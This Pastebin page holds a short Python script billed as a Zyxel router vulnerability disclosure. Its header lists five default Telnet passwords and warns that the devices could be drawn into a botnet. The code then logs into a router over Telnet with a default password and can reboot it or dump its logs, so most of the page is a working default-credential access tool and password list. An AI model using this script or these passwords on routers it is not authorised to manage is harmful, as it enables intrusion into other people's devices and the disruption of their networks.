Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # coding=utf-8
- # - - - - - - - - - - - - - - - - - - - - - - - - #
- # #
- # Zyxel is a multi-OS supported #
- # router that runs the services #
- # Telnet, SSH, & FTP. #
- # #
- # - - - - - - - - - - - - - - - - - - - - - - - - #
- # #
- # You can execute binaries also #
- # Witch that means, binaries like; #
- # MIPS, MIPSEL, SH4, ARMV61, & PowerPC #
- # #
- # - - - - - - - - #
- # #
- # This would mean these devices #
- # are potentially endangered of #
- # becoming part of a 'botnet' #
- # As i just mentioned with the #
- # binaries, you can use the binaries #
- # to allow the device to be a active #
- # connection with-in your client-side. #
- # This is very dangerous for users of #
- # Zyxel. I've ran it upon myself to #
- # contact Zyxel Communications. #
- # Even though there is slightly anything #
- # you can do to fix this problem because #
- # Its preset-default passwords for Telnet #
- # Zyxel sent emails to all customers about #
- # the issues also they left a friendly #
- # banner on the home-page of their website. #
- # #
- # - - - - - - - - - - - - - - - - - - - - - - - - #
- # #
- # Discovered by Chris Poole #
- # #
- # - - - - - - - - - - - - - - - - - - - - - - - - #
- # #
- # http://twitter.com/codingplanets #
- # #
- # - - - - - - - - - - - - - - - - - - - - - - - - #
- # #
- # Zyxel default telnet password(s) #
- # #
- # - - - - - - - - - - - - - - - - - - - - - - - - #
- # 1234 #
- # password #
- # zyxel #
- # telnet #
- # admin #
- # - - - - - - - - - - - - - - - - - - - - - - - - #
- import telnetlib
- import argparse
- import sys
- class Zyxel:
- def __init__(self, host, pw):
- self.connection = telnetlib.Telnet(host)
- self.password(pw)
- self.select("24")
- self.select("8")
- self.connection.read_until("> ")
- def password(self, password):
- self.connection.read_until("Password:")
- self.connection.write(password + "\n")
- def select(self, s):
- self.connection.read_until("Number:")
- self.connection.write(s + "\n")
- def reboot(self):
- self.connection.write("sys reboot\n") # executes 'reboot'
- self.disconnect()
- def disconnect(self): # disconnects from device
- self.connection.close()
- def logs(self):
- self.connection.write("sys logs display\n")
- return self.connection.read_until("> ")
- parser = argparse.ArgumentParser(description='Manage a Zyxel router')
- parser.add_argument("-p", "--password", type=str, help="password", default="1234", dest="password")
- parser.add_argument("host", type=str, help="host")
- parser.add_argument("command", type=str, help="reboot")
- args = parser.parse_args()
- if args.command == "reboot":
- zyxel = Zyxel(args.host, args.password)
- zyxel.reboot()
- elif args.command == "logs":
- zyxel = Zyxel(args.host, args.password)
- print zyxel.logs()
- zyxel.disconnect()
- else:
- print "unknown command: %s" % args.command
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement